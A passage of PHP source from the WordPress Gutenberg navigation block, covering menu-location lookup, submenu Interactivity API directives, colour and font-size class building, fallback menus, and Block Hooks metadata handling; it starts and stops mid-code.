	}

	/**
	 * Returns a unique name for the navigation.
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns a unique name for the navigation.
	 */
	private static function get_unique_navigation_name( $attributes ) {
		$nav_menu_name = static::get_navigation_name( $attributes );

		// If the menu name has been used previously then append an ID
		// to the name to ensure uniqueness across a given post.
		if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) && static::$seen_menu_names[ $nav_menu_name ] > 1 ) {
			$count         = static::$seen_menu_names[ $nav_menu_name ];
			$nav_menu_name = $nav_menu_name . ' ' . ( $count );
		}

		return $nav_menu_name;
	}

	/**
	 * Renders the navigation block.
	 *
	 * @param array    $attributes The block attributes.
	 * @param string   $content    The saved content.
	 * @param WP_Block $block      The parsed block.
	 * @return string Returns the navigation block markup.
	 */
	public static function render( $attributes, $content, $block ) {
		/**
		 * Deprecated:
		 * The rgbTextColor and rgbBackgroundColor attributes
		 * have been deprecated in favor of
		 * customTextColor and customBackgroundColor ones.
		 * Move the values from old attrs to the new ones.
		 */
		if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) {
			$attributes['customTextColor'] = $attributes['rgbTextColor'];
		}

		if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) {
			$attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor'];
		}

		unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] );

		$inner_blocks = static::get_inner_blocks( $attributes, $block );
		// Prevent navigation blocks referencing themselves from rendering.
		if ( block_core_navigation_block_contains_core_navigation( $inner_blocks ) ) {
			return '';
		}

		static::handle_view_script_module_loading( $attributes, $block, $inner_blocks );

		return sprintf(
			'<nav %1$s>%2$s</nav>',
			static::get_nav_wrapper_attributes( $attributes, $inner_blocks ),
			static::get_wrapper_markup( $attributes, $inner_blocks )
		);
	}
}

// These functions are used for the __unstableLocation feature and only active
// when the gutenberg plugin is active.
if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
	/**
	 * Returns the menu items for a WordPress menu location.
	 *
	 * @param string $location The menu location.
	 * @return array Menu items for the location.
	 */
	function block_core_navigation_get_menu_items_at_location( $location ) {
		if ( empty( $location ) ) {
			return;
		}

		// Build menu data. The following approximates the code in
		// `wp_nav_menu()` and `gutenberg_output_block_nav_menu`.

		// Find the location in the list of locations, returning early if the
		// location can't be found.
		$locations = get_nav_menu_locations();
		if ( ! isset( $locations[ $location ] ) ) {
			return;
		}

		// Get the menu from the location, returning early if there is no
		// menu or there was an error.
		$menu = wp_get_nav_menu_object( $locations[ $location ] );
		if ( ! $menu || is_wp_error( $menu ) ) {
			return;
		}

		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
		_wp_menu_item_classes_by_context( $menu_items );

		return $menu_items;
	}


	/**
	 * Sorts a standard array of menu items into a nested structure keyed by the
	 * id of the parent menu.
	 *
	 * @param array $menu_items Menu items to sort.
	 * @return array An array keyed by the id of the parent menu where each element
	 *               is an array of menu items that belong to that parent.
	 */
	function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) {
		$sorted_menu_items = array();
		foreach ( (array) $menu_items as $menu_item ) {
			$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
		}
		unset( $menu_items, $menu_item );

		$menu_items_by_parent_id = array();
		foreach ( $sorted_menu_items as $menu_item ) {
			$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
		}

		return $menu_items_by_parent_id;
	}

	/**
	 * Gets the inner blocks for the navigation block from the unstable location attribute.
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	function block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ) {
		$menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] );
		if ( empty( $menu_items ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		$menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items );
		$parsed_blocks           = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id );
		return new WP_Block_List( $parsed_blocks, $attributes );
	}
}

/**
 * Add Interactivity API directives to the navigation-submenu and page-list
 * blocks markup using the Tag Processor.
 *
 * @param WP_HTML_Tag_Processor $tags             Markup of the navigation block.
 * @param array                 $block_attributes Block attributes.
 *
 * @return string Submenu markup with the directives injected.
 */
function block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ) {
	while ( $tags->next_tag(
		array(
			'tag_name'   => 'LI',
			'class_name' => 'has-child',
		)
	) ) {
		// Add directives to the parent `<li>`.
		$tags->set_attribute( 'data-wp-interactive', 'core/navigation' );
		$tags->set_attribute( 'data-wp-context', '{ "submenuOpenedBy": { "click": false, "hover": false, "focus": false }, "type": "submenu" }' );
		$tags->set_attribute( 'data-wp-watch', 'callbacks.initMenu' );
		$tags->set_attribute( 'data-wp-on--focusout', 'actions.handleMenuFocusout' );
		$tags->set_attribute( 'data-wp-on--keydown', 'actions.handleMenuKeydown' );

		// This is a fix for Safari. Without it, Safari doesn't change the active
		// element when the user clicks on a button. It can be removed once we add
		// an overlay to capture the clicks, instead of relying on the focusout
		// event.
		$tags->set_attribute( 'tabindex', '-1' );

		if ( ! isset( $block_attributes['openSubmenusOnClick'] ) || false === $block_attributes['openSubmenusOnClick'] ) {
			$tags->set_attribute( 'data-wp-on--mouseenter', 'actions.openMenuOnHover' );
			$tags->set_attribute( 'data-wp-on--mouseleave', 'actions.closeMenuOnHover' );
		}

		// Add directives to the toggle submenu button.
		if ( $tags->next_tag(
			array(
				'tag_name'   => 'BUTTON',
				'class_name' => 'wp-block-navigation-submenu__toggle',
			)
		) ) {
			$tags->set_attribute( 'data-wp-on--click', 'actions.toggleMenuOnClick' );
			$tags->set_attribute( 'data-wp-bind--aria-expanded', 'state.isMenuOpen' );
			// The `aria-expanded` attribute for SSR is already added in the submenu block.
		}
		// Add directives to the submenu.
		if ( $tags->next_tag(
			array(
				'tag_name'   => 'UL',
				'class_name' => 'wp-block-navigation__submenu-container',
			)
		) ) {
			$tags->set_attribute( 'data-wp-on--focus', 'actions.openMenuOnFocus' );
		}

		// Iterate through subitems if exist.
		block_core_navigation_add_directives_to_submenu( $tags, $block_attributes );
	}
	return $tags->get_updated_html();
}

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the navigation markup in the front-end.
 *
 * @param array $attributes Navigation block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function block_core_navigation_build_css_colors( $attributes ) {
	$colors = array(
		'css_classes'           => array(),
		'inline_styles'         => '',
		'overlay_css_classes'   => array(),
		'overlay_inline_styles' => '',
	);

	// Text color.
	$has_named_text_color  = array_key_exists( 'textColor', $attributes );
	$has_custom_text_color = array_key_exists( 'customTextColor', $attributes );

	// If has text color.
	if ( $has_custom_text_color || $has_named_text_color ) {
		// Add has-text-color class.
		$colors['css_classes'][] = 'has-text-color';
	}

	if ( $has_named_text_color ) {
		// Add the color class.
		$colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] );
	} elseif ( $has_custom_text_color ) {
		// Add the custom color inline style.
		$colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] );
	}

	// Background color.
	$has_named_background_color  = array_key_exists( 'backgroundColor', $attributes );
	$has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes );

	// If has background color.
	if ( $has_custom_background_color || $has_named_background_color ) {
		// Add has-background class.
		$colors['css_classes'][] = 'has-background';
	}

	if ( $has_named_background_color ) {
		// Add the background-color class.
		$colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] );
	} elseif ( $has_custom_background_color ) {
		// Add the custom background-color inline style.
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] );
	}

	// Overlay text color.
	$has_named_overlay_text_color  = array_key_exists( 'overlayTextColor', $attributes );
	$has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes );

	// If has overlay text color.
	if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) {
		// Add has-text-color class.
		$colors['overlay_css_classes'][] = 'has-text-color';
	}

	if ( $has_named_overlay_text_color ) {
		// Add the overlay color class.
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] );
	} elseif ( $has_custom_overlay_text_color ) {
		// Add the custom overlay color inline style.
		$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] );
	}

	// Overlay background color.
	$has_named_overlay_background_color  = array_key_exists( 'overlayBackgroundColor', $attributes );
	$has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes );

	// If has overlay background color.
	if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) {
		// Add has-background class.
		$colors['overlay_css_classes'][] = 'has-background';
	}

	if ( $has_named_overlay_background_color ) {
		// Add the overlay background-color class.
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] );
	} elseif ( $has_custom_overlay_background_color ) {
		// Add the custom overlay background-color inline style.
		$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @param array $attributes Navigation block attributes.
 *
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_build_css_font_sizes( $attributes ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $attributes );
	$has_custom_font_size = array_key_exists( 'customFontSize', $attributes );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] );
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @return string
 */
function block_core_navigation_render_submenu_icon() {
	return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}

/**
 * Filter out empty "null" blocks from the block list.
 * 'parse_blocks' includes a null block with '\n\n' as the content when
 * it encounters whitespace. This is not a bug but rather how the parser
 * is designed.
 *
 * @param array $parsed_blocks the parsed blocks to be normalized.
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) {
	$filtered = array_filter(
		$parsed_blocks,
		static function ( $block ) {
			return isset( $block['blockName'] );
		}
	);

	// Reset keys.
	return array_values( $filtered );
}

/**
 * Returns true if the navigation block contains a nested navigation block.
 *
 * @param WP_Block_List $inner_blocks Inner block instance to be normalized.
 * @return bool true if the navigation block contains a nested navigation block.
 */
function block_core_navigation_block_contains_core_navigation( $inner_blocks ) {
	foreach ( $inner_blocks as $block ) {
		if ( 'core/navigation' === $block->name ) {
			return true;
		}
		if ( $block->inner_blocks && block_core_navigation_block_contains_core_navigation( $block->inner_blocks ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Retrieves the appropriate fallback to be used on the front of the
 * site when there is no menu assigned to the Nav block.
 *
 * This aims to mirror how the fallback mechanic for wp_nav_menu works.
 * See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information.
 *
 * @return array the array of blocks to be used as a fallback.
 */
function block_core_navigation_get_fallback_blocks() {
	$page_list_fallback = array(
		array(
			'blockName'    => 'core/page-list',
			'innerContent' => array(),
			'attrs'        => array(),
		),
	);

	$registry = WP_Block_Type_Registry::get_instance();

	// If `core/page-list` is not registered then return empty blocks.
	$fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array();
	$navigation_post = WP_Navigation_Fallback::get_fallback();

	// Use the first non-empty Navigation as fallback if available.
	if ( $navigation_post ) {
		$parsed_blocks  = parse_blocks( $navigation_post->post_content );
		$maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );

		// Normalizing blocks may result in an empty array of blocks if they were all `null` blocks.
		// In this case default to the (Page List) fallback.
		$fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks;

		if ( function_exists( 'set_ignored_hooked_blocks_metadata' ) ) {
			// Run Block Hooks algorithm to inject hooked blocks.
			// We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks.
			$markup = block_core_navigation_insert_hooked_blocks( $fallback_blocks, $navigation_post );
			$blocks = parse_blocks( $markup );

			if ( isset( $blocks[0]['innerBlocks'] ) ) {
				$fallback_blocks = $blocks[0]['innerBlocks'];
			}
		}
	}

	/**
	 * Filters the fallback experience for the Navigation block.
	 *
	 * Returning a falsey value will opt out of the fallback and cause the block not to render.
	 * To customise the blocks provided return an array of blocks - these should be valid
	 * children of the `core/navigation` block.
	 *
	 * @since 5.9.0
	 *
	 * @param array[] $fallback_blocks default fallback blocks provided by the default block mechanic.
	 */
	return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks );
}

/**
 * Iterate through all inner blocks recursively and get navigation link block's post IDs.
 *
 * @param WP_Block_List $inner_blocks Block list class instance.
 *
 * @return array Array of post IDs.
 */
function block_core_navigation_get_post_ids( $inner_blocks ) {
	$post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) );
	return array_unique( array_merge( ...$post_ids ) );
}

/**
 * Get post IDs from a navigation link block instance.
 *
 * @param WP_Block $block Instance of a block.
 *
 * @return array Array of post IDs.
 */
function block_core_navigation_from_block_get_post_ids( $block ) {
	$post_ids = array();

	if ( $block->inner_blocks ) {
		$post_ids = block_core_navigation_get_post_ids( $block->inner_blocks );
	}

	if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) {
		if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] && isset( $block->attributes['id'] ) ) {
			$post_ids[] = $block->attributes['id'];
		}
	}

	return $post_ids;
}

/**
 * Renders the `core/navigation` block on server.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the navigation block markup.
 */
function render_block_core_navigation( $attributes, $content, $block ) {
	return WP_Navigation_Block_Renderer::render( $attributes, $content, $block );
}

/**
 * Register the navigation block.
 *
 * @uses render_block_core_navigation()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation() {
	register_block_type_from_metadata(
		__DIR__ . '/navigation',
		array(
			'render_callback' => 'render_block_core_navigation',
		)
	);
}

add_action( 'init', 'register_block_core_navigation' );

/**
 * Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly.
 *
 * @param array $parsed_block The block being rendered.
 *
 * @return array The block being rendered without typographic presets.
 */
function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) {
	if ( 'core/navigation' === $parsed_block['blockName'] ) {
		$attribute_to_prefix_map = array(
			'fontStyle'      => 'var:preset|font-style|',
			'fontWeight'     => 'var:preset|font-weight|',
			'textDecoration' => 'var:preset|text-decoration|',
			'textTransform'  => 'var:preset|text-transform|',
		);
		foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) {
			if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) {
				$prefix_len      = strlen( $prefix );
				$attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ];
				if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) {
					$attribute_value = substr( $attribute_value, $prefix_len );
				}
				if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) {
					$attribute_value = 'line-through';
				}
			}
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' );

/**
 * Turns menu item data into a nested array of parsed blocks
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead.
 *
 * @param array $menu_items               An array of menu items that represent
 *                                        an individual level of a menu.
 * @param array $menu_items_by_parent_id  An array keyed by the id of the
 *                                        parent menu where each element is an
 *                                        array of menu items that belong to
 *                                        that parent.
 * @return array An array of parsed block data.
 */
function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) {

	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::parse_blocks_from_menu_items' );

	if ( empty( $menu_items ) ) {
		return array();
	}

	$blocks = array();

	foreach ( $menu_items as $menu_item ) {
		$class_name       = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null;
		$id               = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null;
		$opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target;
		$rel              = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null;
		$kind             = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom';

		$block = array(
			'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link',
			'attrs'     => array(
				'className'     => $class_name,
				'description'   => $menu_item->description,
				'id'            => $id,
				'kind'          => $kind,
				'label'         => $menu_item->title,
				'opensInNewTab' => $opens_in_new_tab,
				'rel'           => $rel,
				'title'         => $menu_item->attr_title,
				'type'          => $menu_item->object,
				'url'           => $menu_item->url,
			),
		);

		$block['innerBlocks']  = isset( $menu_items_by_parent_id[ $menu_item->ID ] )
			? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id )
			: array();
		$block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] );

		$blocks[] = $block;
	}

	return $blocks;
}

/**
 * Get the classic navigation menu to use as a fallback.
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead.
 *
 * @return object WP_Term The classic navigation.
 */
function block_core_navigation_get_classic_menu_fallback() {

	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback' );

	$classic_nav_menus = wp_get_nav_menus();

	// If menus exist.
	if ( $classic_nav_menus && ! is_wp_error( $classic_nav_menus ) ) {
		// Handles simple use case where user has a classic menu and switches to a block theme.

		// Returns the menu assigned to location `primary`.
		$locations = get_nav_menu_locations();
		if ( isset( $locations['primary'] ) ) {
			$primary_menu = wp_get_nav_menu_object( $locations['primary'] );
			if ( $primary_menu ) {
				return $primary_menu;
			}
		}

		// Returns a menu if `primary` is its slug.
		foreach ( $classic_nav_menus as $classic_nav_menu ) {
			if ( 'primary' === $classic_nav_menu->slug ) {
				return $classic_nav_menu;
			}
		}

		// Otherwise return the most recently created classic menu.
		usort(
			$classic_nav_menus,
			static function ( $a, $b ) {
				return $b->term_id - $a->term_id;
			}
		);
		return $classic_nav_menus[0];
	}
}

/**
 * Converts a classic navigation to blocks.
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead.
 *
 * @param  object $classic_nav_menu WP_Term The classic navigation object to convert.
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) {

	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback_blocks' );

	// BEGIN: Code that already exists in wp_nav_menu().
	$menu_items = wp_get_nav_menu_items( $classic_nav_menu->term_id, array( 'update_post_term_cache' => false ) );

	// Set up the $menu_item variables.
	_wp_menu_item_classes_by_context( $menu_items );

	$sorted_menu_items = array();
	foreach ( (array) $menu_items as $menu_item ) {
		$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
	}

	unset( $menu_items, $menu_item );

	// END: Code that already exists in wp_nav_menu().

	$menu_items_by_parent_id = array();
	foreach ( $sorted_menu_items as $menu_item ) {
		$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
	}

	$inner_blocks = block_core_navigation_parse_blocks_from_menu_items(
		isset( $menu_items_by_parent_id[0] )
			? $menu_items_by_parent_id[0]
			: array(),
		$menu_items_by_parent_id
	);

	return serialize_blocks( $inner_blocks );
}

/**
 * If there's a classic menu then use it as a fallback.
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead.
 *
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_maybe_use_classic_menu_fallback() {

	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::create_classic_menu_fallback' );

	// See if we have a classic menu.
	$classic_nav_menu = block_core_navigation_get_classic_menu_fallback();

	if ( ! $classic_nav_menu ) {
		return;
	}

	// If we have a classic menu then convert it to blocks.
	$classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu );

	if ( empty( $classic_nav_menu_blocks ) ) {
		return;
	}

	// Create a new navigation menu from the classic menu.
	$wp_insert_post_result = wp_insert_post(
		array(
			'post_content' => $classic_nav_menu_blocks,
			'post_title'   => $classic_nav_menu->name,
			'post_name'    => $classic_nav_menu->slug,
			'post_status'  => 'publish',
			'post_type'    => 'wp_navigation',
		),
		true // So that we can check whether the result is an error.
	);

	if ( is_wp_error( $wp_insert_post_result ) ) {
		return;
	}

	// Fetch the most recently published navigation which will be the classic one created above.
	return block_core_navigation_get_most_recently_published_navigation();
}

/**
 * Finds the most recently published `wp_navigation` Post.
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead.
 *
 * @return WP_Post|null the first non-empty Navigation or null.
 */
function block_core_navigation_get_most_recently_published_navigation() {

	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_most_recently_published_navigation' );

	// Default to the most recently created menu.
	$parsed_args = array(
		'post_type'              => 'wp_navigation',
		'no_found_rows'          => true,
		'update_post_meta_cache' => false,
		'update_post_term_cache' => false,
		'order'                  => 'DESC',
		'orderby'                => 'date',
		'post_status'            => 'publish',
		'posts_per_page'         => 1, // get only the most recent.
	);

	$navigation_post = new WP_Query( $parsed_args );
	if ( count( $navigation_post->posts ) > 0 ) {
		return $navigation_post->posts[0];
	}

	return null;
}

/**
 * Accepts the serialized markup of a block and its inner blocks, and returns serialized markup of the inner blocks.
 *
 * @param string $serialized_block The serialized markup of a block and its inner blocks.
 * @return string
 */
function block_core_navigation_remove_serialized_parent_block( $serialized_block ) {
	$start = strpos( $serialized_block, '-->' ) + strlen( '-->' );
	$end   = strrpos( $serialized_block, '<!--' );
	return substr( $serialized_block, $start, $end - $start );
}

/**
 * Mock a parsed block for the Navigation block given its inner blocks and the `wp_navigation` post object.
 * The `wp_navigation` post's `_wp_ignored_hooked_blocks` meta is queried to add the `metadata.ignoredHookedBlocks` attribute.
 *
 * @param array   $inner_blocks Parsed inner blocks of a Navigation block.
 * @param WP_Post $post         `wp_navigation` post object corresponding to the block.
 *
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_mock_parsed_block( $inner_blocks, $post ) {
	$attributes = array();

	if ( isset( $post->ID ) ) {
		$ignored_hooked_blocks = get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true );
		if ( ! empty( $ignored_hooked_blocks ) ) {
			$ignored_hooked_blocks  = json_decode( $ignored_hooked_blocks, true );
			$attributes['metadata'] = array(
				'ignoredHookedBlocks' => $ignored_hooked_blocks,
			);
		}
	}

	$mock_anchor_parent_block = array(
		'blockName'    => 'core/navigation',
		'attrs'        => $attributes,
		'innerBlocks'  => $inner_blocks,
		'innerContent' => array_fill( 0, count( $inner_blocks ), null ),
	);

	return $mock_anchor_parent_block;
}

/**
 * Insert hooked blocks into a Navigation block.
 *
 * Given a Navigation block's inner blocks and its corresponding `wp_navigation` post object,
 * this function inserts hooked blocks into it, and returns the serialized inner blocks in a
 * mock Navigation block wrapper.
 *
 * If there are any hooked blocks that need to be inserted as the Navigation block's first or last
 * children, the `wp_navigation` post's `_wp_ignored_hooked_blocks` meta is checked to see if any
 * of those hooked blocks should be exempted from insertion.
 *
 * @param array   $inner_blocks Parsed inner blocks of a Navigation block.
 * @param WP_Post $post         `wp_navigation` post object corresponding to the block.
 * @return string Serialized inner blocks in mock Navigation block wrapper, with hooked blocks inserted, if any.
 */
function block_core_navigation_insert_hooked_blocks( $inner_blocks, $post ) {
	$mock_navigation_block = block_core_navigation_mock_parsed_block( $inner_blocks, $post );
	$hooked_blocks         = get_hooked_blocks();
	$before_block_visitor  = null;
	$after_block_visitor   = null;

	if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
		$before_block_visitor = make_before_block_visitor( $hooked_blocks, $post, 'insert_hooked_blocks' );
		$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $post, 'insert_hooked_blocks' );
	}

	return traverse_and_serialize_block( $mock_navigation_block, $before_block_visitor, $after_block_visitor );
}

/**
 * Insert ignoredHookedBlocks meta into the Navigation block and its inner blocks.
 *
 * Given a Navigation block's inner blocks and its corresponding `wp_navigation` post object,
 * this function inserts ignoredHookedBlocks meta into it, and returns the serialized inner blocks in a
 * mock Navigation block wrapper.
 *
 * @param array   $inner_blocks Parsed inner blocks of a Navigation block.
 * @param WP_Post $post         `wp_navigation` post object corresponding to the block.
 * @return string Serialized inner blocks in mock Navigation block wrapper, with hooked blocks inserted, if any.
 */
function block_core_navigation_set_ignored_hooked_blocks_metadata( $inner_blocks, $post ) {
	$mock_navigation_block = block_core_navigation_mock_parsed_block( $inner_blocks, $post );
	$hooked_blocks         = get_hooked_blocks();
	$before_block_visitor  = null;
	$after_block_visitor   = null;

	if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
		$before_block_visitor = make_before_block_visitor( $hooked_blocks, $post, 'set_ignored_hooked_blocks_metadata' );
		$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $post, 'set_ignored_hooked_blocks_metadata' );
	}

	return traverse_and_serialize_block( $mock_navigation_block, $before_block_visitor, $after_block_visitor );
}

/**
 * Updates the post meta with the list of ignored hooked blocks when the navigation is created or updated via the REST API.
 *
 * @access private
 * @since 6.5.0
 *
 * @param stdClass $post Post object.
 * @return stdClass The updated post object.
 */
function block_core_navigation_update_ignore_hooked_blocks_meta( $post ) {
	/*
	 * In this scenario the user has likely tried to create a navigation via the REST API.
	 * In which case we won't have a post ID to work with and store meta against.
	 */
	if ( empty( $post->ID ) ) {
		return $post;
	}

	/**
	 * Skip meta generation when consumers intentionally update specific Navigation fields
	 * and omit the content update.
	 */
	if ( ! isset( $post->post_content ) ) {
		return $post;
	}

	/*
	 * We run the Block Hooks mechanism to inject the `metadata.ignoredHookedBlocks` attribute into
	 * all anchor blocks. For the root level, we create a mock Navigation and extract them from there.
	 */
	$blocks = parse_blocks( $post->post_content );

	/*
	 * Block Hooks logic requires a `WP_Post` object (rather than the `stdClass` with the updates that
	 * we're getting from the `rest_pre_insert_wp_navigation` filter) as its second argument (to be
	 * used as context for hooked blocks insertion).
	 * We thus have to look it up from the DB,based on `$post->ID`.
	 */
	$markup = block_core_navigation_set_ignored_hooked_blocks_metadata( $blocks, get_post( $post->ID ) );

	$root_nav_block        = parse_blocks( $markup )[0];
	$ignored_hooked_blocks = isset( $root_nav_block['attrs']['metadata']['ignoredHookedBlocks'] )
		? $root_nav_block['attrs']['metadata']['ignoredHookedBlocks']
		: array();

	if ( ! empty( $ignored_hooked_blocks ) ) {
		$existing_ignored_hooked_blocks = get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true );
		if ( ! empty( $existing_ignored_hooked_blocks ) ) {
			$existing_ignored_hooked_blocks = json_decode( $existing_ignored_hooked_blocks, true );
			$ignored_hooked_blocks          = array_unique( array_merge( $ignored_hooked_blocks, $existing_ignored_hooked_blocks ) );
		}
		update_post_meta( $post->ID, '_wp_ignored_hooked_blocks', json_encode( $ignored_hooked_blocks ) );
	}

	$post->post_content = block_core_navigation_remove_serialized_parent_block( $markup );
	return $post;
}

/*
 * Before adding our filter, we verify if it's already added in Core.
 * However, during the build process, Gutenberg automatically prefixes our functions with "gutenberg_".
 * Therefore, we concatenate the Core's function name to circumvent this prefix for our check.
 */
$rest_insert_wp_navigation_core_callback = 'block_core_navigation_' . 'update_ignore_hooked_blocks_meta'; // phpcs:ignore Generic.Strings.UnnecessaryStringConcat.Found

/*
 * Injection of hooked blocks into the Navigation block relies on some functions present in WP >= 6.5
 * that are not present in Gutenberg's WP 6.5 compatibility layer.
 */
if ( function_exists( 'set_ignored_hooked_blocks_metadata' ) && ! has_filter( 'rest_pre_insert_wp_navigation', $rest_insert_wp_navigation_core_callback ) ) {
	add_filter( 'rest_pre_insert_wp_navigation', 'block_core_navigation_update_ignore_hooked_blocks_meta' );
}

/*
 * Previous versions of Gutenberg were attaching the block_core_navigation_update_ignore_hooked_blocks_meta
 * function to the `rest_insert_wp_navigation` _action_ (rather than the `rest_pre_insert_wp_navigation` _filter_).
 * To avoid collisions, we need to remove the filter from that action if it's present.
 */
if ( has_filter( 'rest_insert_wp_navigation', $rest_insert_wp_navigation_core_callback ) ) {
	remove_filter( 'rest_insert_wp_navigation', $rest_insert_wp_navigation_core_callback );
}

/**
 * Hooks into the REST API response for the core/navigation block and adds the first and last inner blocks.
 *
 * @param WP_REST_Response $response The response object.
 * @param WP_Post          $post     Post object.
 * @return WP_REST_Response The response object.
 */
function block_core_navigation_insert_hooked_blocks_into_rest_response( $response, $post ) {
	if ( ! isset( $response->data['content']['raw'] ) || ! isset( $response->data['content']['rendered'] ) ) {
